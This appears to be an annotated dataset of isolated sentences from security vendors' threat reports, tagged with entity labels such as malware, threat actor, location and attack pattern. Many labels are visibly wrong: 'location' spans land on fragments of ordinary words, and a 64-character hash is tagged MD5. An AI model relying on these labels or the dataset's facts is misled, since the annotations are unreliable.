{"id":3138,"text":"They\u2019re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.","entities":[{"id":48266,"label":"identity","start_offset":24,"end_offset":71}],"relations":[],"Comments":[]}
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{"id":7686,"text":"Figure 1. Infection chains for ServHelper installation  Figure 2.","entities":[{"id":23911,"label":"malware","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
{"id":2211,"text":"The parent process check is not used in this particular sample.","entities":[],"relations":[],"Comments":[]}
{"id":4136,"text":"With these tools, the attackers accomplish their goals (network discovery, access to the intranet, and exfiltration) step by step.","entities":[],"relations":[],"Comments":[]}
{"id":13209,"text":" The overview provided above highlights how putting critical information in physically isolated networks is not a bulletproof solution for defending against cyberespionage.","entities":[],"relations":[],"Comments":[]}
{"id":13086,"text":"This burgeoning world of connected IoT devices is particularly advanced in the manufacturing space, where huge gains are already being made.","entities":[],"relations":[],"Comments":[]}
{"id":3983,"text":"The compromised software will then put the customer's data or system at risk.","entities":[],"relations":[],"Comments":[]}
{"id":6512,"text":"We observed it operating in the following countries:  Azerbaijan Bahrain Israel Saudi Arabia United Arab Emirates       Figure 11.","entities":[],"relations":[],"Comments":[]}
{"id":12520,"text":"Full details of Glupteba\u2019s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":38979,"label":"malware","start_offset":16,"end_offset":24},{"id":38980,"label":"location","start_offset":44,"end_offset":47},{"id":38982,"label":"location","start_offset":127,"end_offset":130},{"id":38983,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
{"id":14078,"text":"The malware campaigns previously attributed to APT37 also extensively used the exploitation of web sites hosted with GNUBoard CMS.","entities":[{"id":48157,"label":"SOFTWARE","start_offset":117,"end_offset":126},{"id":43567,"label":"threat-actor","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
{"id":7858,"text":"For these devices, ADB debugging must be enabled for backup to work.","entities":[],"relations":[],"Comments":[]}
{"id":8999,"text":"We also noticed network communications from this victim to a subdomain of Earth Berberoka, suggesting it could have been previously compromised by this threat actor.","entities":[],"relations":[],"Comments":[]}
{"id":2536,"text":"When Ireland's healthcare system refused to pay any ransom, Conti provided the agency with what it said was a free decryption key.","entities":[{"id":47728,"label":"location","start_offset":5,"end_offset":12},{"id":47729,"label":"attack-pattern","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]}
{"id":2012,"text":"Tox is a peer-to-peer instant messaging protocol that offers end-to-end encryption and has been observed being used by other ransomware groups for negotiations.","entities":[],"relations":[],"Comments":[]}
{"id":13701,"text":"Scrutinize all emails.","entities":[],"relations":[],"Comments":[]}
{"id":3070,"text":"This is the main reason we classify the program as Scareware rather than just Fake AV.","entities":[],"relations":[],"Comments":[]}
{"id":8133,"text":"Code enable accessibility permission of the newly installed app","entities":[],"relations":[],"Comments":[]}
{"id":3819,"text":"The table below lists all of Koadic's functions:  {Variable}.user User-related functions {Variable}.user.isElevated Check Privilege {Variable}.user.OS Get OS Version {Variable}.user.DC","entities":[{"id":11597,"label":"malware","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
{"id":14191,"text":"Already the Conti and Lockbit ransomware collectives have stated their support.","entities":[{"id":48229,"label":"threat-actor","start_offset":12,"end_offset":18},{"id":48230,"label":"threat-actor","start_offset":22,"end_offset":30}],"relations":[],"Comments":[]}
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{"id":7304,"text":"Get serial number    ifconfig -l ifconfig <device> | awk '\/ether \/{print $2}' 2>&1    Get network interface MAC addresses     Table 2.","entities":[{"id":22764,"label":"tools","start_offset":21,"end_offset":29},{"id":22765,"label":"tools","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
{"id":7179,"text":" Figure 1. Watering hole reconnaissance flow Analysis of the Andariel techniques","entities":[{"id":22443,"label":"location","start_offset":20,"end_offset":24},{"id":22444,"label":"threat-actor","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
{"id":1756,"text":"After his slides were released, researchers began working to determine what the missing parts were.","entities":[],"relations":[],"Comments":[]}
{"id":624,"text":"This is the same exploit the WanaCrypt0r\/WannaCry malware exploited to spread globally in May, 2017.","entities":[{"id":2086,"label":"malware","start_offset":29,"end_offset":40},{"id":2087,"label":"malware","start_offset":41,"end_offset":49},{"id":44808,"label":"TIME","start_offset":90,"end_offset":99}],"relations":[],"Comments":[]}
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{"id":4753,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[],"relations":[],"Comments":[]}
{"id":4181,"text":"Information on how a threat enters and operates within a victim\u2019s network is invaluable to security teams and can help them create more effective protection for vulnerable organizations.","entities":[],"relations":[],"Comments":[]}
{"id":3193,"text":"     Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":6081,"text":"These samples have some indicators that suggest they were custom-built to be used by the group.","entities":[],"relations":[],"Comments":[]}
{"id":9781,"text":"The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents.","entities":[{"id":29793,"label":"location","start_offset":33,"end_offset":37},{"id":29794,"label":"attack-pattern","start_offset":53,"end_offset":67}],"relations":[],"Comments":[]}
{"id":14148,"text":"Cybercriminals and malicious hackers have been shifting their tactics, techniques, and procedures (TTPs) to improve their ability to infiltrate an organization and stay under the radar of security professionals and solutions.","entities":[],"relations":[],"Comments":[]}
{"id":1225,"text":"One piece is embedded into Android apps or games for developers as a part of the source code.","entities":[{"id":46608,"label":"SOFTWARE","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]}
{"id":10098,"text":"This was done as part of the build process; the source code repository was not affected.","entities":[{"id":30792,"label":"attack-pattern","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]}
{"id":275,"text":" We have released public reports on the WhisperGate attacks and the infrastructure and tactics used by the Gamaredon group.","entities":[{"id":45965,"label":"malware","start_offset":40,"end_offset":51},{"id":45966,"label":"threat-actor","start_offset":107,"end_offset":122}],"relations":[],"Comments":[]}
{"id":379,"text":"Conclusion Indicators of Compromise  ","entities":[],"relations":[],"Comments":[]}
{"id":4497,"text":"The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.","entities":[{"id":50299,"label":"campaign","start_offset":23,"end_offset":31},{"id":50300,"label":"location","start_offset":92,"end_offset":103}],"relations":[{"id":942,"from_id":50299,"to_id":50300,"type":"attributed-to"}],"Comments":[]}
{"id":1658,"text":" NetWire uses a custom, TCP-based protocol.","entities":[{"id":4926,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
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{"id":5675,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":17489,"label":"location","start_offset":36,"end_offset":39},{"id":17493,"label":"malware","start_offset":179,"end_offset":187},{"id":17494,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
{"id":909,"text":"The RC4 key is generated by concatenating the SHA256 value previously generated with the path to the file being encrypted.","entities":[],"relations":[],"Comments":[]}
{"id":1269,"text":" Figure 3. Japanese decoy document containing an obituary notice for a woman.","entities":[{"id":44959,"label":"attack-pattern","start_offset":20,"end_offset":34}],"relations":[],"Comments":[]}
{"id":5431,"text":"Access to these services should be limited, which can be achieved by configuring a virtual private network (VPN) that can access those services remotely.","entities":[],"relations":[],"Comments":[]}
{"id":3748,"text":" CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.","entities":[{"id":49573,"label":"attack-pattern","start_offset":19,"end_offset":46},{"id":49574,"label":"attack-pattern","start_offset":68,"end_offset":98},{"id":49572,"label":"vulnerability","start_offset":1,"end_offset":15},{"id":49575,"label":"SOFTWARE","start_offset":102,"end_offset":150}],"relations":[{"id":830,"from_id":49575,"to_id":49572,"type":"has"},{"id":831,"from_id":49572,"to_id":49573,"type":"uses"},{"id":832,"from_id":49572,"to_id":49574,"type":"uses"}],"Comments":[]}
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{"id":2702,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":8673,"text":"The exploit targeted iOS versions 12.4 through 13.7.","entities":[],"relations":[],"Comments":[]}
{"id":2668,"text":" When looking at leak site data across all ransomware families, we\u2019ve observed LockBit 2.0 targeting the highest number of organizations in the following regions: JAPAC, EMEA, and LATAM.","entities":[{"id":47862,"label":"location","start_offset":163,"end_offset":168},{"id":47863,"label":"location","start_offset":170,"end_offset":174},{"id":47864,"label":"location","start_offset":180,"end_offset":185},{"id":47861,"label":"threat-actor","start_offset":79,"end_offset":90}],"relations":[],"Comments":[]}
{"id":955,"text":"We have captured around 63,000 Android apps in WildFire that include the Taomike library but only around 18,000 include the SMS theft functionality.","entities":[{"id":2996,"label":"SOFTWARE","start_offset":47,"end_offset":55},{"id":46463,"label":"identity","start_offset":73,"end_offset":80},{"id":46464,"label":"attack-pattern","start_offset":124,"end_offset":133}],"relations":[],"Comments":[]}
{"id":2,"text":"The attack vector is very basic and repeats itself: It begins with a spear phishing email sent with SCR attachments (double zipped).","entities":[{"id":48941,"label":"attack-pattern","start_offset":69,"end_offset":115}],"relations":[],"Comments":[]}
{"id":10013,"text":"Indicators of Compromise (IoCs): Related hashes (SHA-256):  0703a917aaa0630ae1860fb5fb1f64f3cfb4ea8c57eac71c2b0a407b738c4e19 (ShiftDoor) \u2014 detected by Trend Micro as BKDR_SETHC.D c14ea9b81f782ba36ae3ea450c2850642983814a0f4dc0ea4888038466839c1e (aio.exe)","entities":[{"id":30587,"label":"SHA2","start_offset":60,"end_offset":124},{"id":30589,"label":"MD5","start_offset":179,"end_offset":243}],"relations":[],"Comments":[]}
{"id":7300,"text":"     Figure 10. Encrypted strings           Figures 11-12.","entities":[],"relations":[],"Comments":[]}
{"id":5131,"text":"East\/west is within the network itself.","entities":[],"relations":[],"Comments":[]}
{"id":11842,"text":"Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.","entities":[{"id":36511,"label":"malware","start_offset":39,"end_offset":51}],"relations":[],"Comments":[]}
{"id":13853,"text":"This article has been updated to add references to the DarkSide victim data.","entities":[],"relations":[],"Comments":[]}
{"id":1837,"text":"We manually replicated the routine and commands for disabling the defense solutions to further look into the routine.","entities":[],"relations":[],"Comments":[]}
{"id":14061,"text":"Both use JPG as a delivering extension.","entities":[],"relations":[],"Comments":[]}
{"id":7705,"text":" Figure 7. XOR Encrypted C&C communication","entities":[],"relations":[],"Comments":[]}
{"id":11269,"text":"Restore endpoint connection Restores the network connectivity on an endpoint after investigation and\/or remediation has occurred","entities":[],"relations":[],"Comments":[]}
{"id":148,"text":"The way the attackers get the ransomware on the system varies: it can be through unpatched vulnerabilities, social engineering or both.","entities":[],"relations":[],"Comments":[]}
{"id":11185,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":34241,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":34242,"label":"location","start_offset":57,"end_offset":61},{"id":34246,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
{"id":11312,"text":"HYPERSCRAPE demonstrates Charming Kitten\u2019s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":34575,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":34576,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
{"id":12084,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]}
{"id":8561,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":26452,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":26454,"label":"location","start_offset":64,"end_offset":74},{"id":26455,"label":"location","start_offset":78,"end_offset":82},{"id":26456,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
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{"id":4969,"text":"Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, C\u00f4te d\u2019Ivoire, Serbia, Spain and Indonesia.","entities":[{"id":51025,"label":"location","start_offset":162,"end_offset":173},{"id":51026,"label":"location","start_offset":174,"end_offset":187},{"id":51027,"label":"location","start_offset":189,"end_offset":195},{"id":51029,"label":"location","start_offset":207,"end_offset":216},{"id":51021,"label":"identity","start_offset":30,"end_offset":40},{"id":51023,"label":"location","start_offset":145,"end_offset":152},{"id":51028,"label":"location","start_offset":197,"end_offset":202},{"id":51024,"label":"location","start_offset":154,"end_offset":160},{"id":51022,"label":"location","start_offset":138,"end_offset":143}],"relations":[],"Comments":[]}
{"id":5776,"text":"Jon Clay, VP of Threat Intelligence: [00:00:00","entities":[],"relations":[],"Comments":[]}
{"id":7445,"text":"Here is an example from 2015 where \u201cMcAfee Email Protection\u201d is offered.","entities":[{"id":23149,"label":"identity","start_offset":36,"end_offset":42},{"id":23150,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
{"id":5154,"text":"Once they've driven to the store.","entities":[],"relations":[],"Comments":[]}
{"id":1763,"text":"Further details were discussed in depth last month on Rapid7\u2019s blog.","entities":[{"id":46913,"label":"identity","start_offset":53,"end_offset":60}],"relations":[],"Comments":[]}
{"id":5313,"text":"The function that initializes the modules      In Figure 1, we inferred the following mod_t structure:      Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":3270,"text":"After the malware joins the C&C server, the server will assign a victim ID with \u201cset key\u201d event and send multiple \u201caccept task\u201d events with the commands \u201cScreenShot\u201d, \u201cSnsInfo\u201d, \u201cPackingTelegram\u201d, \u201cGetBrowsersCookies\u201d, \u201cGetBrowsersLogins\u201d, \u201cGetBrowsersHistories\u201d, and \u201cGetBrowsersBookmarks\u201d to instruct the malware to collect private data from the victim.","entities":[],"relations":[],"Comments":[]}
{"id":1105,"text":"Simply put: malware writers leverage malware specific libraries and groups of like actors will reuse these core libraries when able.  The needle in a haystack problem forever plagues malware research: it\u2019s extremely difficult to find reliable information with malware writers constantly working to undermine or eliminate that information.","entities":[],"relations":[],"Comments":[]}
{"id":13643,"text":"The phishing emails redirect users to fake Office 365 login pages.","entities":[{"id":42476,"label":"attack-pattern","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
{"id":1015,"text":"He claimed that once the account was sold, only the one buyer and the legitimate user would have access.","entities":[],"relations":[],"Comments":[]}
{"id":10402,"text":"Send the volume serial number of the C drive, which allows the attacker to identify the victim.","entities":[],"relations":[],"Comments":[]}
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{"id":612,"text":" Figure 3: Hancitor distribution servers globally thus far in 2017  Table 1 \u2013 Number of Distribution Servers by Country  ","entities":[{"id":44799,"label":"malware","start_offset":11,"end_offset":19},{"id":44800,"label":"TIME","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
{"id":3725,"text":"ATT&CK\u00ae tactics and techniques for Linux were also shared by MITRE.","entities":[{"id":49525,"label":"identity","start_offset":61,"end_offset":66},{"id":49526,"label":"SOFTWARE","start_offset":35,"end_offset":40}],"relations":[],"Comments":[]}
{"id":433,"text":" Where this becomes a problem is when coin mining is done without the user\u2019s knowledge and consent.","entities":[],"relations":[],"Comments":[]}
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{"id":751,"text":"The heap block will not be occupied by user-controlled data after the critical objects are freed.","entities":[],"relations":[],"Comments":[]}
{"id":7435,"text":"           Figure 2. A phony email from Pawn Storm","entities":[{"id":23121,"label":"threat-actor","start_offset":40,"end_offset":50}],"relations":[],"Comments":[]}
{"id":278,"text":" There is no single action you can take to protect your organization against this threat.","entities":[],"relations":[],"Comments":[]}
{"id":3871,"text":"Given how cybercriminal tools, tactics and procedures are evolving, organizations will have to go beyond their typical day-to-day security requirements and find a way to preempt attacks.","entities":[],"relations":[],"Comments":[]}
{"id":3560,"text":"The infection chain for Capesand that also shows the obfuscation mechanisms For this particular sample, CyaX_Sharp is obfuscated with a customized version of ConfuserEx.","entities":[{"id":49348,"label":"tools","start_offset":104,"end_offset":114},{"id":49349,"label":"tools","start_offset":158,"end_offset":168},{"id":49347,"label":"malware","start_offset":24,"end_offset":32}],"relations":[],"Comments":[]}
{"id":7143,"text":"Weaponized documents exploiting the Dynamic Data Exchange (DDE) method Weaponized documents exploiting the CVE-2018-0798 vulnerability in Equation Editor Exploitation of the CVE-2019-0604 vulnerability in Sharepoint Supply chain attack that compromises a chat software installer, Able Desktop Exploitation of recent vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) in Microsoft Exchange Server","entities":[{"id":22321,"label":"attack-pattern","start_offset":36,"end_offset":57},{"id":22322,"label":"threat-actor","start_offset":138,"end_offset":146},{"id":22323,"label":"location","start_offset":216,"end_offset":222},{"id":22324,"label":"location","start_offset":255,"end_offset":259},{"id":22325,"label":"location","start_offset":342,"end_offset":347},{"id":22326,"label":"location","start_offset":381,"end_offset":384},{"id":22327,"label":"identity","start_offset":404,"end_offset":413},{"id":22328,"label":"location","start_offset":414,"end_offset":422}],"relations":[],"Comments":[]}
{"id":4767,"text":"The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.","entities":[{"id":50672,"label":"SOFTWARE","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
{"id":4784,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[],"relations":[],"Comments":[]}
{"id":1732,"text":"They can also steal your computer\u2019s processing power to mine for cryptocurrencies, which slows down your system.","entities":[],"relations":[],"Comments":[]}
{"id":9313,"text":"Impersonating the Google Analytics service is a known tactic also used by Magecart Group 11, the group behind the Vision Direct breach.","entities":[],"relations":[],"Comments":[]}
{"id":4045,"text":"Based on our current cases, the decrypted payload is Quasar RAT.","entities":[{"id":12265,"label":"malware","start_offset":53,"end_offset":63}],"relations":[],"Comments":[]}
{"id":9621,"text":"We identified a MacOS backdoor (detected by Trend Micro as  OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. APT 32, APT-C-00, SeaLotus, and Cobalt Kitty).","entities":[{"id":29476,"label":"malware","start_offset":60,"end_offset":76},{"id":29478,"label":"threat-actor","start_offset":155,"end_offset":161},{"id":29481,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
{"id":14027,"text":"Some Freenki samples had leaked the OS language ID through this same mechanism.","entities":[{"id":47193,"label":"malware","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
{"id":1423,"text":"Following a recent study of apps in the Google Play Store, let\u2019s discuss several security risks caused by the bad certificate management practiced in many Android apps, from social to mobile banking.","entities":[{"id":46760,"label":"SOFTWARE","start_offset":40,"end_offset":57},{"id":46761,"label":"SOFTWARE","start_offset":155,"end_offset":162}],"relations":[],"Comments":[]}
{"id":5779,"text":"Joining me again is my cohort in crime.","entities":[],"relations":[],"Comments":[]}
{"id":3589,"text":"The leaked debug symbols paths","entities":[],"relations":[],"Comments":[]}
{"id":10858,"text":"phkyxc: A component used as WifiWakeLock.","entities":[],"relations":[],"Comments":[]}
{"id":13846,"text":"T1129   Dynamically loads the DLLs through the shellcode Execution through API T1106","entities":[{"id":42922,"label":"attack-pattern","start_offset":57,"end_offset":78}],"relations":[],"Comments":[]}
{"id":4563,"text":"Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.","entities":[{"id":50382,"label":"vulnerability","start_offset":16,"end_offset":54},{"id":50383,"label":"TIME","start_offset":75,"end_offset":83},{"id":50384,"label":"TIME","start_offset":159,"end_offset":163},{"id":50385,"label":"identity","start_offset":188,"end_offset":197}],"relations":[],"Comments":[]}
{"id":5087,"text":"This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.","entities":[],"relations":[],"Comments":[]}
{"id":6720,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
{"id":534,"text":"For example, GandCrab uses JScript as a downloader, leveraging Windows Background Intelligent Transfer Service (BITS) to download the payload in the background (Figure 5).","entities":[{"id":44765,"label":"malware","start_offset":13,"end_offset":21},{"id":44766,"label":"tools","start_offset":63,"end_offset":117}],"relations":[{"id":20,"from_id":44765,"to_id":44766,"type":"uses"}],"Comments":[]}
{"id":7589,"text":"In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the \u201cfeast\u201d parameter as its export function.","entities":[{"id":23652,"label":"location","start_offset":8,"end_offset":12},{"id":23653,"label":"malware","start_offset":36,"end_offset":46},{"id":23654,"label":"location","start_offset":48,"end_offset":52},{"id":23655,"label":"location","start_offset":76,"end_offset":79},{"id":23656,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]}
{"id":4479,"text":"TAG also recently released information on a segment of attackers we call \u201chack-for-hire\u201d that focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":50279,"label":"attack-pattern","start_offset":131,"end_offset":161},{"id":50278,"label":"identity","start_offset":0,"end_offset":3},{"id":50280,"label":"attack-pattern","start_offset":74,"end_offset":87}],"relations":[],"Comments":[]}
{"id":10185,"text":"Cookie Theft, also known as \u201cpass-the-cookie attack,\u201d is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":31104,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
{"id":9322,"text":"ReactGet Group injection pattern  Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":3661,"text":"MITRE also identifies different main targets for each group: While Carbanak focuses on banking institutions, FIN7 targets food, hospitality, and retail establishments.","entities":[{"id":49437,"label":"threat-actor","start_offset":67,"end_offset":75},{"id":49438,"label":"threat-actor","start_offset":109,"end_offset":113},{"id":49436,"label":"identity","start_offset":0,"end_offset":5},{"id":49439,"label":"identity","start_offset":87,"end_offset":107},{"id":49440,"label":"identity","start_offset":122,"end_offset":166}],"relations":[{"id":795,"from_id":49437,"to_id":49439,"type":"targets"},{"id":796,"from_id":49438,"to_id":49440,"type":"targets"}],"Comments":[]}
{"id":14382,"text":"EDR is great for endpoints they are on.","entities":[],"relations":[],"Comments":[]}
{"id":2970,"text":"PCs and Macs as well as smartphones and tablets increasingly support the use of password managers directly.","entities":[],"relations":[],"Comments":[]}
{"id":1635,"text":"One account using the name \u201cOscar Sanchez\u201d gave high ratings and positive comments to many of the \u201cfun app\u201d applications.","entities":[{"id":45081,"label":"identity","start_offset":28,"end_offset":41},{"id":46858,"label":"identity","start_offset":99,"end_offset":106}],"relations":[],"Comments":[]}
{"id":3504,"text":"Marade acts as the first stage of attack, sending the compromised system\u2019s information to the C&C server and then awaiting commands from the controller.","entities":[{"id":49299,"label":"malware","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":416,"text":" What Is Unauthorized Coin Mining?","entities":[{"id":46114,"label":"attack-pattern","start_offset":9,"end_offset":33}],"relations":[],"Comments":[]}
{"id":3991,"text":" While the guideline gives thorough recommendations on preventing supply chain attacks, it is still vital for organizations to take extra measures to mitigate vulnerable software components.","entities":[],"relations":[],"Comments":[]}
{"id":5699,"text":"Our telemetry data shows Earth Lusca sending spear phishing emails containing malicious links to one of their targets \u2014 a media company.","entities":[{"id":17581,"label":"attack-pattern","start_offset":45,"end_offset":59},{"id":17583,"label":"location","start_offset":122,"end_offset":127}],"relations":[],"Comments":[]}
{"id":6454,"text":"This feature allows an intermediary Internet server to broker the connection, similar to a proxy server.","entities":[],"relations":[],"Comments":[]}
{"id":3535,"text":"And once infection with a backdoor occurs, typical red flags may not be raised as it abuses microblogging and social media services to retrieve information needed for C&C communication.","entities":[],"relations":[],"Comments":[]}
{"id":3605,"text":"Note that the KurdishCoder indicator was spotted also by the Italian Computer Emergency Response Team - Pubblica Amministrazione (CERT-PA), which they reported as a single incident.","entities":[{"id":49385,"label":"identity","start_offset":61,"end_offset":138}],"relations":[],"Comments":[]}
{"id":603,"text":"When they would do this, the Hancitor attachment would download and install the final malware from a malicious or compromised site.","entities":[{"id":44793,"label":"malware","start_offset":29,"end_offset":37}],"relations":[],"Comments":[]}
{"id":2655,"text":"The operators work with initial access brokers to save time and allow for a larger profit potential.","entities":[],"relations":[],"Comments":[]}
{"id":10615,"text":"We encourage high-risk users\u2014like journalists, human rights activists, and political campaigns\u2014to enroll in our Advanced Protection Program (APP), which utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":32379,"label":"location","start_offset":71,"end_offset":74},{"id":32380,"label":"location","start_offset":121,"end_offset":131},{"id":32381,"label":"location","start_offset":171,"end_offset":179},{"id":32382,"label":"location","start_offset":185,"end_offset":188},{"id":32383,"label":"attack-pattern","start_offset":242,"end_offset":250},{"id":32384,"label":"location","start_offset":251,"end_offset":254}],"relations":[],"Comments":[]}
{"id":13399,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":41708,"label":"malware","start_offset":0,"end_offset":5},{"id":41709,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
{"id":8117,"text":"MediaTek-SU exploit","entities":[],"relations":[],"Comments":[]}
{"id":3173,"text":"What makes BIOPASS RAT particularly interesting is that it can sniff its victim\u2019s screen by abusing the framework of Open Broadcaster Software (OBS) Studio, a popular live streaming and video recording app, to establish live streaming to a cloud service via Real-Time Messaging Protocol (RTMP).","entities":[{"id":48296,"label":"malware","start_offset":11,"end_offset":22},{"id":48298,"label":"SOFTWARE","start_offset":258,"end_offset":293},{"id":48297,"label":"SOFTWARE","start_offset":117,"end_offset":148}],"relations":[{"id":400,"from_id":48296,"to_id":48297,"type":"targets"}],"Comments":[]}
{"id":3860,"text":"Short-term mitigation","entities":[],"relations":[],"Comments":[]}
{"id":7249,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors\u2019 blog.","entities":[],"relations":[],"Comments":[]}
{"id":13540,"text":"However, since early 2020, we\u2019ve noticed some changes to Water Pamola\u2019s activity.","entities":[{"id":51609,"label":"campaign","start_offset":57,"end_offset":69},{"id":51610,"label":"TIME","start_offset":15,"end_offset":25}],"relations":[],"Comments":[]}
{"id":14121,"text":"Compile Time APT73 and Kitsune","entities":[{"id":48185,"label":"threat-actor","start_offset":13,"end_offset":18},{"id":48186,"label":"campaign","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
{"id":8128,"text":"Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.","entities":[{"id":25169,"label":"location","start_offset":99,"end_offset":102},{"id":25170,"label":"malware","start_offset":139,"end_offset":146}],"relations":[],"Comments":[]}
{"id":7539,"text":"Countermeasures and Trend Micro Solutions Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one \u2013 thus the need for education on identifying and mitigating phishing attacks \u2013 especially if it involves organizations in sensitive industries such as government and manufacturing.","entities":[{"id":23419,"label":"location","start_offset":16,"end_offset":19},{"id":23420,"label":"location","start_offset":26,"end_offset":31},{"id":23421,"label":"location","start_offset":192,"end_offset":195},{"id":23422,"label":"location","start_offset":241,"end_offset":244},{"id":23423,"label":"attack-pattern","start_offset":256,"end_offset":264},{"id":23424,"label":"location","start_offset":358,"end_offset":361}],"relations":[],"Comments":[]}
{"id":8794,"text":"We haven\u2019t seen any evidence of such attempts being successful.","entities":[],"relations":[],"Comments":[]}
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{"id":826,"text":" We also recommend users of the Chrome browser to update to version 79.0.3945.130 as they recently released an update to fix the TLS issue.  Palo Alto Networks customers running Traps are now safeguarded from the Windows CryptoAPI Spoofing vulnerability, regardless of whether they are running an unpatched Microsoft Windows 10 system.","entities":[{"id":46376,"label":"SOFTWARE","start_offset":307,"end_offset":328},{"id":46375,"label":"SOFTWARE","start_offset":213,"end_offset":230},{"id":46373,"label":"SOFTWARE","start_offset":32,"end_offset":38},{"id":46374,"label":"identity","start_offset":141,"end_offset":159}],"relations":[],"Comments":[]}
{"id":4199,"text":"Remote Services: SMB\/Windows Admin Shares Discovery T1087.002","entities":[{"id":50005,"label":"attack-pattern","start_offset":17,"end_offset":61}],"relations":[],"Comments":[]}
{"id":12776,"text":"PLEAD\u2019s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware\u2019s filename.","entities":[{"id":39755,"label":"tools","start_offset":0,"end_offset":5},{"id":39756,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
{"id":12058,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[{"id":37314,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":37315,"label":"location","start_offset":17,"end_offset":21}],"relations":[],"Comments":[]}
{"id":1569,"text":" Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe.","entities":[{"id":45059,"label":"malware","start_offset":1,"end_offset":11},{"id":45060,"label":"location","start_offset":117,"end_offset":131}],"relations":[{"id":75,"from_id":45059,"to_id":45060,"type":"targets"}],"Comments":[]}
{"id":13639,"text":"    Tags  Endpoints | APT & Targeted Attacks | Research | Articles, News, Reports | Cyber Threats","entities":[],"relations":[],"Comments":[]}
{"id":13499,"text":"While it offers standard mailbox copies that was likely stolen with the help of credential phishing, Void Balaur also offers copies of mailboxes that have not been interacted with \u2014 for a higher price.","entities":[{"id":51567,"label":"threat-actor","start_offset":101,"end_offset":112},{"id":51568,"label":"attack-pattern","start_offset":80,"end_offset":99}],"relations":[{"id":1104,"from_id":51567,"to_id":51568,"type":"uses"}],"Comments":[]}
{"id":4168,"text":"     Figure 13. Network configuration (Left: ChiserClient","entities":[{"id":12518,"label":"malware","start_offset":45,"end_offset":57}],"relations":[],"Comments":[]}
